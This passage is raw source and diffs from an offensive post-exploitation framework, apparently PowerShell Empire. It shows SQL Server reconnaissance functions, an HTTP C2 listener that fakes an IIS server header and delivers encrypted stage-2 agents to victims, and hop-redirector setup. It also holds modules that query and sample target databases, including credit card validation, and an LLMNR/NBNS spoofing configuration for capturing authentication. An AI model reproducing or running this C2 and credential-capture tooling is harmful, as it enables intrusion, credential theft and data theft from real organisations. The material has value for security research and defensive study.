[string]$_.PrincipalName,
[string]$_.OriginalPrincipalName,
[string]$_.SessionId,
[string]$_.SessionStartTime,
[string]$_.SessionLoginTime,
[string]$_.SessionStatus)
}
}
} End {
$TblSessions
}
}
Function Get-SQLSysadminCheck {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance
)
Begin {
$TblSysadminStatus = New-Object -TypeName System.Data.DataTable
if($CredentialName) {
$CredentialNameFilter = " WHERE name like '$CredentialName'"
} else {
$CredentialNameFilter = ''
}
} Process {
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if(-not $Instance) {
$Instance = $env:COMPUTERNAME
}
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password |
? -FilterScript { $_.Status -eq 'Accessible' }
if(-not $TestConnection) {
"$Instance : Connection Failed."
return
}
$Query = "SELECT '$ComputerName' as [ComputerName],
'$Instance' as [Instance],
CASE
WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No'
ELSE 'Yes'
END as IsSysadmin"
$TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
$TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp
} End {
$TblSysadminStatus
}
}
Function Get-SQLQuery {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server query.')]
[string]$Query,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[int]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Return error message if exists.')]
[switch]$ReturnError
)
Begin {
$TblQueryResults = New-Object -TypeName System.Data.DataTable
} Process {
if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database}
else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database}
$ConnectionString = $Connection.Connectionstring
$Instance = $ConnectionString.split(';')[0].split('=')[1]
if($Query) {
$Connection.Open()
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
try {
$Results = $Command.ExecuteReader()
$TblQueryResults.Load($Results)
} catch {
# pass
}
$Connection.Close()
$Connection.Dispose()
}
else{'No query provided to Get-SQLQuery function.';Break}
} End {
if($ReturnError){$ErrorMessage}
else{$TblQueryResults}
}
}
Function Get-SQLServerInfo {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance
)
Begin {
$TblServerInfo = New-Object -TypeName System.Data.DataTable
} Process {
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if(-not $Instance) {
$Instance = $env:COMPUTERNAME
}
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password |
? -FilterScript {
$_.Status -eq 'Accessible'
}
if(-not $TestConnection) {
"$Instance : Connection Failed."
return
}
$ActiveSessions = Get-SQLSession -Instance $Instance -Username $Username -Password $Password |
? -FilterScript { $_.SessionStatus -eq 'running' } | measure -Line | select -Property Lines -ExpandProperty Lines
$IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Username $Username -Password $Password
if($IsSysadmin.IsSysadmin -eq 'Yes') {
$SysadminSetup = "
DECLARE @MachineType SYSNAME
EXECUTE master.dbo.xp_regread
@rootkey = N'HKEY_LOCAL_MACHINE',
@key = N'SYSTEM\CurrentControlSet\Control\ProductOptions',
@value_name = N'ProductType',
@value = @MachineType output
DECLARE @ProductName SYSNAME
EXECUTE master.dbo.xp_regread
@rootkey = N'HKEY_LOCAL_MACHINE',
@key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion',
@value_name = N'ProductName',
@value = @ProductName output"
$SysadminQuery = ' @MachineType as [OsMachineType],
@ProductName as [OSVersionName],'
} else {
$SysadminSetup = ''
$SysadminQuery = ''
}
$Query = "
DECLARE @SQLServerInstance varchar(250)
DECLARE @SQLServerServiceName varchar(250)
if @@SERVICENAME = 'MSSQLSERVER'
BEGIN
set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
set @SQLServerServiceName = 'MSSQLSERVER'
END
ELSE
BEGIN
set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250))
set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250))
END
DECLARE @ServiceaccountName varchar(250)
EXECUTE master.dbo.xp_instance_regread
N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'
DECLARE @AuthenticationMode INT
EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
N'Software\Microsoft\MSSQLServer\MSSQLServer',
N'LoginMode', @AuthenticationMode OUTPUT
$SysadminSetup
SELECT '$ComputerName' as [ComputerName],
@@servername as [Instance],
DEFAULT_DOMAIN() as [DomainName],
@SQLServerServiceName as [ServiceName],
@ServiceAccountName as [ServiceAccount],
(SELECT CASE @AuthenticationMode
WHEN 1 THEN 'Windows Authentication'
WHEN 2 THEN 'Windows and SQL Server Authentication'
ELSE 'Unknown'
END) as [AuthenticationMode],
CASE SERVERPROPERTY('IsClustered')
WHEN 0
THEN 'No'
ELSE 'Yes'
END as [Clustered],
SERVERPROPERTY('productversion') as [SQLServerVersionNumber],
SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion],
serverproperty('Edition') as [SQLServerEdition],
SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack],
SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture],
$SysadminQuery
RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber],
SYSTEM_USER as [Currentlogin],
'$IsSysadmin' as [IsSysadmin],
'$ActiveSessions' as [ActiveSessions]"
$TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
$TblServerInfo = $TblServerInfo + $TblServerInfoTemp
ForEach ($Row in $TblServerInfo) {
"ComputerName : " + $Row.ComputerName
"Instance : " + $Row.Instance
"DomainName : " + $Row.DomainName
"ServiceName : " + $Row.ServiceName
"ServiceAccount : " + $Row.ServiceAccount
"AuthenticationMode : " + $Row.AuthenticationMode
"Clustered : " + $Row.Clustered
"SQLServerVersionNumber : " + $Row.SQLServerVersionNumber
"SQLServerMajorVersion : " + $Row.SQLServerMajorVersion
"SQLServerEdition : " + $Row.SQLServerEdition
"SQLServerServicePack : " + $Row.SQLServerServicePack
"OSArchitecture : " + $Row.OSArchitecture
"OsMachineType : " + $Row.OsMachineType
"OSVersionName : " + $Row.OSVersionName
"OsVersionNumber : " + $Row.OsVersionNumber
"Currentlogin : " + $Row.Currentlogin
"IsSysadmin : " + $IsSysadmin.IsSysadmin
"ActiveSessions : " + $Row.ActiveSessions
""
}
} End {
}
}

4
empire
View File

@ -647,9 +647,9 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password
listeners = [] listeners = []
for activeListener in activeListenersRaw: for activeListener in activeListenersRaw:
[ID, name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_lost_limit] = activeListener [ID, name, module, listener_type, listener_category, options] = activeListener
# activeListeners[name] = {'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit} # activeListeners[name] = {'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit}
listeners.append({'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit}) listeners.append({'ID':ID, 'name':name, 'module':module, 'listener_type':listener_type, 'listener_category':listener_category, 'options':options })
return jsonify({'listeners' : listeners}) return jsonify({'listeners' : listeners})

View File

@ -795,6 +795,17 @@ class MainMenu(cmd.Cmd):
offs = len(mline) - len(text) offs = len(mline) - len(text)
return [s[offs:] for s in stagerNames if s.startswith(mline)] return [s[offs:] for s in stagerNames if s.startswith(mline)]
def complete_setlist(self, text, line, begidx, endidx):
"Tab-complete a global list option"
options = ["listeners", "agents"]
if line.split(' ')[1].lower() in options:
return helpers.complete_path(text, line, arg=True)
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]
def complete_set(self, text, line, begidx, endidx): def complete_set(self, text, line, begidx, endidx):
"Tab-complete a global option." "Tab-complete a global option."
@ -844,6 +855,11 @@ class MainMenu(cmd.Cmd):
offs = len(mline) - len(text) offs = len(mline) - len(text)
return [s[offs:] for s in names if s.startswith(mline)] return [s[offs:] for s in names if s.startswith(mline)]
def complete_list(self, text, line, begidx, endidx):
"Tab-complete list"
return self.complete_setlist(text, line, begidx, endidx)
def complete_preobfuscate(self, text, line, begidx, endidx): def complete_preobfuscate(self, text, line, begidx, endidx):
"Tab-complete an interact command" "Tab-complete an interact command"
options = [ (option[len('data/module_source/'):]) for option in helpers.get_module_source_files() ] options = [ (option[len('data/module_source/'):]) for option in helpers.get_module_source_files() ]
@ -853,6 +869,7 @@ class MainMenu(cmd.Cmd):
offs = len(mline) - len(text) offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)] return [s[offs:] for s in options if s.startswith(mline)]
class AgentsMenu(cmd.Cmd): class AgentsMenu(cmd.Cmd):
""" """
The main class used by Empire to drive the 'agents' menu. The main class used by Empire to drive the 'agents' menu.
@ -1892,7 +1909,7 @@ class PowerShellAgentMenu(cmd.Cmd):
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID) module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
module_menu = ModuleMenu(self.mainMenu, 'powershell/management/psinject') module_menu = ModuleMenu(self.mainMenu, 'powershell/management/psinject')
module_menu.cmdloop() module_menu.do_execute("")
else: else:
print helpers.color("[!] Please enter <listenerName> <pid>") print helpers.color("[!] Please enter <listenerName> <pid>")

View File

@ -68,9 +68,6 @@ def pad(data):
Performs PKCS#7 padding for 128 bit block size. Performs PKCS#7 padding for 128 bit block size.
""" """
if (len(data) % 16) == 0:
return data
else:
pad = 16 - (len(data) % 16) pad = 16 - (len(data) % 16)
return data + to_bufferable(chr(pad) * pad) return data + to_bufferable(chr(pad) * pad)
@ -85,11 +82,7 @@ def depad(data):
raise ValueError("invalid length") raise ValueError("invalid length")
pad = _get_byte(data[-1]) pad = _get_byte(data[-1])
if pad <= 16:
return data[:-pad] return data[:-pad]
else:
return data
# return s[:-(ord(s[-1]))] # return s[:-(ord(s[-1]))]

View File

@ -64,7 +64,17 @@ def validate_ip(IP):
""" """
Uses iptools to validate an IP. Uses iptools to validate an IP.
""" """
return iptools.ipv4.validate_ip(IP) try:
validate_IPv4 = iptools.ipv4.validate_ip(IP)
validate_IPv6 = iptools.ipv6.validate_ip(IP)
if validate_IPv4 is True:
return validate_IPv4
elif validate_IPv6 is True:
return validate_IPv6
except Exception as e:
return e
def validate_ntlm(data): def validate_ntlm(data):

213
lib/common/http.py Normal file
View File

@ -0,0 +1,213 @@
"""
HTTP related methods used by Empire.
Includes URI validation/checksums, as well as the base
http server (EmpireServer) and its modified request
handler (RequestHandler).
These are the first places URI requests are processed.
"""
from BaseHTTPServer import BaseHTTPRequestHandler
import BaseHTTPServer, threading, ssl, os, string, random
from pydispatch import dispatcher
import re
# Empire imports
import encryption
import helpers
#TODO: place this in a config
def default_page():
"""
Returns the default page for this server.
"""
page = "<html><body><h1>It works!</h1>"
page += "<p>This is the default web page for this server.</p>"
page += "<p>The web server software is running but no content has been added, yet.</p>"
page += "</body></html>"
return page
###############################################################
#
# Host2lhost helper.
#
###############################################################
def host2lhost(s):
"""
Return lhost for Empire's native listener from Host value
"""
reg = r'(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)'
res = re.findall( reg, s)
return res[0] if len(res) == 1 else '0.0.0.0'
###############################################################
#
# Checksum helpers.
#
###############################################################
def checksum8(s):
"""
Add up all character values and mods the total by 256.
"""
return sum([ord(ch) for ch in s]) % 0x100
###############################################################
#
# HTTP servers and handlers.
#
###############################################################
class RequestHandler(BaseHTTPRequestHandler):
"""
Main HTTP handler we're overwriting in order to modify the HTTPServer behavior.
"""
# retrieve the server headers from the common config
serverVersion = helpers.get_config('server_version')[0]
# fake out our server headers base
BaseHTTPRequestHandler.server_version = serverVersion
BaseHTTPRequestHandler.sys_version = ""
def do_GET(self):
# get the requested path and the client IP
resource = self.path
clientIP = self.client_address[0]
sessionID = None
cookie = self.headers.getheader("Cookie")
if cookie:
# search for a SESSIONID value in the cookie
parts = cookie.split(";")
for part in parts:
if "SESSIONID" in part:
# extract the sessionID value
name, sessionID = part.split("=", 1)
# fire off an event for this GET (for logging)
dispatcher.send("[*] "+resource+" requested from "+str(sessionID)+" at "+clientIP, sender="HttpHandler")
# get the appropriate response from the agent handler
(code, responsedata) = self.server.agents.process_get(self.server.server_port, clientIP, sessionID, resource)
# write the response out
self.send_response(code)
self.end_headers()
self.wfile.write(responsedata)
self.wfile.flush()
# self.wfile.close() # causes an error with HTTP comms
def do_POST(self):
resource = self.path
clientIP = self.client_address[0]
sessionID = None
cookie = self.headers.getheader("Cookie")
if cookie:
# search for a SESSIONID value in the cookie
parts = cookie.split(";")
for part in parts:
if "SESSIONID" in part:
# extract the sessionID value
name, sessionID = part.split("=", 1)
# fire off an event for this POST (for logging)
dispatcher.send("[*] Post to "+resource+" from "+str(sessionID)+" at "+clientIP, sender="HttpHandler")
# read in the length of the POST data
if self.headers.getheader('content-length'):
length = int(self.headers.getheader('content-length'))
postData = self.rfile.read(length)
# get the appropriate response for this agent
(code, responsedata) = self.server.agents.process_post(self.server.server_port, clientIP, sessionID, resource, postData)
# write the response out
self.send_response(code)
self.end_headers()
self.wfile.write(responsedata)
self.wfile.flush()
# self.wfile.close() # causes an error with HTTP comms
# supress all the stupid default stdout/stderr output
def log_message(*arg):
pass
class EmpireServer(threading.Thread):
"""
Version of a simple HTTP[S] Server with specifiable port and
SSL cert. Defaults to HTTP is no cert is specified.
Uses agents.RequestHandler handle inbound requests.
"""
def __init__(self, handler, lhost='0.0.0.0', port=80, cert=''):
# set to False if the listener doesn't successfully start
self.success = True
try:
threading.Thread.__init__(self)
self.server = None
self.server = BaseHTTPServer.HTTPServer((lhost, int(port)), RequestHandler)
# pass the agent handler object along for the RequestHandler
self.server.agents = handler
self.port = port
self.serverType = "HTTP"
# wrap it all up in SSL if a cert is specified
if cert and cert != "":
self.serverType = "HTTPS"
cert = os.path.abspath(cert)
self.server.socket = ssl.wrap_socket(self.server.socket, certfile=cert, server_side=True)
dispatcher.send("[*] Initializing HTTPS server on "+str(port), sender="EmpireServer")
else:
dispatcher.send("[*] Initializing HTTP server on "+str(port), sender="EmpireServer")
except Exception as e:
self.success = False
# shoot off an error if the listener doesn't stand up
dispatcher.send("[!] Error starting listener on port "+str(port)+": "+str(e), sender="EmpireServer")
def base_server(self):
return self.server
def run(self):
try: self.server.serve_forever()
except: pass
def shutdown(self):
# shut down the server/socket
self.server.shutdown()
self.server.socket.close()
self.server.server_close()
self._Thread__stop()
# make sure all the threads are killed
for thread in threading.enumerate():
if thread.isAlive():
try:
thread._Thread__stop()
except:
pass

View File

@ -97,7 +97,7 @@ class Listener:
'Value' : '' 'Value' : ''
}, },
'ServerVersion' : { 'ServerVersion' : {
'Description' : 'TServer header for the control server.', 'Description' : 'Server header for the control server.',
'Required' : True, 'Required' : True,
'Value' : 'Microsoft-IIS/7.5' 'Value' : 'Microsoft-IIS/7.5'
} }
@ -205,6 +205,16 @@ class Listener:
pass pass
# TODO: reimplement stager retries? # TODO: reimplement stager retries?
#check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions['BindIP']['Value']
port = listenerOptions['Port']['Value']
if ':' in bindIP:
if "http" in host:
if "https" in host:
host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array # code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
@ -692,6 +702,15 @@ def send_message(packets=None):
return response return response
@app.after_request
def add_proxy_headers(response):
"Add HTTP headers to avoid proxy caching."
response.headers['Cache-Control'] = "no-cache, no-store, must-revalidate"
response.headers['Pragma'] = "no-cache"
response.headers['Expires'] = "0"
return response
@app.route('/<path:request_uri>', methods=['GET']) @app.route('/<path:request_uri>', methods=['GET'])
def handle_get(request_uri): def handle_get(request_uri):
""" """
@ -780,12 +799,22 @@ def send_message(packets=None):
if results: if results:
if results.startswith('STAGE2'): if results.startswith('STAGE2'):
# TODO: document the exact results structure returned # TODO: document the exact results structure returned
if ':' in clientIP:
clientIP = '[' + str(clientIP) + ']'
sessionID = results.split(' ')[1].strip() sessionID = results.split(' ')[1].strip()
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey'] sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http') dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http')
hopListenerName = request.headers.get('Hop-Name')
try:
hopListener = helpers.get_listener_options(hopListenerName)
tempListenerOptions = copy.deepcopy(listenerOptions)
tempListenerOptions['Host']['Value'] = hopListener['Host']['Value']
except TypeError:
tempListenerOptions = listenerOptions
# step 6 of negotiation -> server sends patched agent.ps1/agent.py # step 6 of negotiation -> server sends patched agent.ps1/agent.py
agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand) agentCode = self.generate_agent(language=language, listenerOptions=tempListenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode) encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)
# TODO: wrap ^ in a routing packet? # TODO: wrap ^ in a routing packet?

View File

@ -98,7 +98,7 @@ class Listener:
'Value' : '' 'Value' : ''
}, },
'ServerVersion' : { 'ServerVersion' : {
'Description' : 'TServer header for the control server.', 'Description' : 'Server header for the control server.',
'Required' : True, 'Required' : True,
'Value' : 'Microsoft-IIS/7.5' 'Value' : 'Microsoft-IIS/7.5'
} }
@ -175,6 +175,17 @@ class Listener:
# TODO: reimplement stager retries? # TODO: reimplement stager retries?
#check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions['BindIP']['Value']
port = listenerOptions['Port']['Value']
if ':' in bindIP:
if "http" in host:
if "https" in host:
host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array # code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey) stager += "'%s');" % (stagingKey)
@ -463,6 +474,15 @@ class Listener:
return response return response
@app.after_request
def add_proxy_headers(response):
"Add HTTP headers to avoid proxy caching."
response.headers['Cache-Control'] = "no-cache, no-store, must-revalidate"
response.headers['Pragma'] = "no-cache"
response.headers['Expires'] = "0"
return response
@app.route('/<path:request_uri>', methods=['GET']) @app.route('/<path:request_uri>', methods=['GET'])
def handle_get(request_uri): def handle_get(request_uri):
""" """

View File

@ -445,6 +445,7 @@ def send_message(packets=None):
f.close() f.close()
hopCode = hopCode.replace('REPLACE_SERVER', redirectHost) hopCode = hopCode.replace('REPLACE_SERVER', redirectHost)
hopCode = hopCode.replace('REPLACE_HOP_NAME', self.options['Name']['Value'])
saveFolder = self.options['OutFolder']['Value'] saveFolder = self.options['OutFolder']['Value']
for uri in uris: for uri in uris:

View File

@ -0,0 +1,111 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-SQLColumnSampleData',
'Author': ['@_nullbind', '@0xbadjuju'],
'Description': ('Returns column information from target SQL Servers. Supports '
'search by keywords, sampling data, and validating credit card '
'numbers.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinPSVersion' : '2',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Username' : {
'Description' : 'SQL Server or domain account to authenticate with.',
'Required' : False,
'Value' : ''
},
'Password' : {
'Description' : 'SQL Server or domain account password to authenticate with.',
'Required' : False,
'Value' : ''
},
'Instance' : {
'Description' : 'SQL Server instance to connection to.',
'Required' : False,
'Value' : ''
},
'NoDefaults' : {
'Description' : 'Don\'t select tables from default databases.',
'Required' : False,
'Value' : ''
},
'CheckAll' : {
'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain.',
'Required' : False,
'Value' : ''
}
}
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
username = self.options['Username']['Value']
password = self.options['Password']['Value']
instance = self.options['Instance']['Value']
no_defaults = self.options['NoDefaults']['Value']
check_all = self.options['CheckAll']['Value']
# read in the common module source code
moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLColumnSampleData.ps1"
script = ""
try:
with open(moduleSource, 'r') as source:
script = source.read()
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
if check_all:
auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
try:
with open(auxModuleSource, 'r') as auxSource:
auxScript = auxSource.read()
script += " " + auxScript
except:
print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource))
script += " Get-SQLInstanceDomain "
if username != "":
script += " -Username "+username
if password != "":
script += " -Password "+password
script += " | "
script += " Get-SQLColumnSampleData"
if username != "":
script += " -Username "+username
if password != "":
script += " -Password "+password
if instance != "" and not check_all:
script += " -Instance "+instance
if no_defaults:
script += " -NoDefaults "
return script

View File

@ -0,0 +1,89 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-SQLQuery',
'Author': ['@_nullbind', '@0xbadjuju'],
'Description': ('Executes a query on target SQL servers.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinPSVersion' : '2',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Username' : {
'Description' : 'SQL Server or domain account to authenticate with.',
'Required' : False,
'Value' : ''
},
'Password' : {
'Description' : 'SQL Server or domain account password to authenticate with.',
'Required' : False,
'Value' : ''
},
'Instance' : {
'Description' : 'SQL Server instance to connection to.',
'Required' : False,
'Value' : ''
},
'Query' : {
'Description' : 'Query to be executed on the SQL Server.',
'Required' : True,
'Value' : ''
}
}
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
username = self.options['Username']['Value']
password = self.options['Password']['Value']
instance = self.options['Instance']['Value']
query = self.options['Query']['Value']
# read in the common module source code
moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLQuery.ps1"
script = ""
try:
with open(moduleSource, 'r') as source:
script = source.read()
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
script += " Get-SQLQuery"
if username != "":
script += " -Username "+username
if password != "":
script += " -Password "+password
if instance != "":
script += " -Instance "+instance
script += " -Query "+"\'"+query+"\'"
return script

View File

@ -9,13 +9,15 @@ class Module:
'Author': ['Kevin Robertson'], 'Author': ['Kevin Robertson'],
'Description': ('Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool.'), 'Description': ('Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool. Note '
'that this module exposes only a subset of Inveigh\'s parameters. Inveigh can be used '
'through Empire\'s scriptimport and scriptcmd if additional parameters are needed.'),
'Background' : True, 'Background' : True,
'OutputExtension' : None, 'OutputExtension' : None,
'NeedsAdmin' : True, 'NeedsAdmin' : False,
'OpsecSafe' : True, 'OpsecSafe' : True,
@ -37,141 +39,152 @@ class Module:
'Required' : True, 'Required' : True,
'Value' : '' 'Value' : ''
}, },
'IP' : { 'ConsoleOutput' : {
'Description' : 'Specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the SpooferIP parameter is not set.', 'Description' : '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. Medium and Low can be used to reduce output.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'SpooferIP' : {
'Description' : 'Specific IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.',
'Required' : False,
'Value' : ''
},
'SpooferHostsReply' : {
'Description' : 'Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS.',
'Required' : False,
'Value' : ''
},
'SpooferHostsIgnore' : {
'Description' : 'Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS.',
'Required' : False,
'Value' : ''
},
'SpooferIPsReply' : {
'Description' : 'Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS.',
'Required' : False,
'Value' : ''
},
'SpooferIPsIgnore' : {
'Description' : 'Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.',
'Required' : False,
'Value' : ''
},
'SpooferRepeat' : {
'Description' : 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'LLMNR' : {
'Description' : 'Enable/Disable LLMNR spoofing (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'LLMNRTTL' : {
'Description' : 'Custom LLMNR TTL in seconds for the response packet.',
'Required' : False,
'Value' : ''
},
'NBNS' : {
'Description' : 'Enable/Disable NBNS spoofing (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'NBNSTTL' : {
'Description' : 'Custom NBNS TTL in seconds for the response packet.',
'Required' : False,
'Value' : ''
},
'NBNSTypes' : {
'Description' : 'Comma separated list of NBNS types to spoof.',
'Required' : False,
'Value' : '00,20'
},
'HTTP' : {
'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'HTTPAuth' : {
'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).',
'Required' : False,
'Value' : 'NTLM'
},
'HTTPBasicRealm' : {
'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.',
'Required' : False,
'Value' : 'IIS'
},
'HTTPResponse' : {
'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.',
'Required' : False,
'Value' : ''
},
'WPADAuth' : {
'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).',
'Required' : False,
'Value' : 'NTLM'
},
'WPADEmptyFile' : {
'Description' : 'Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests (Y/N).',
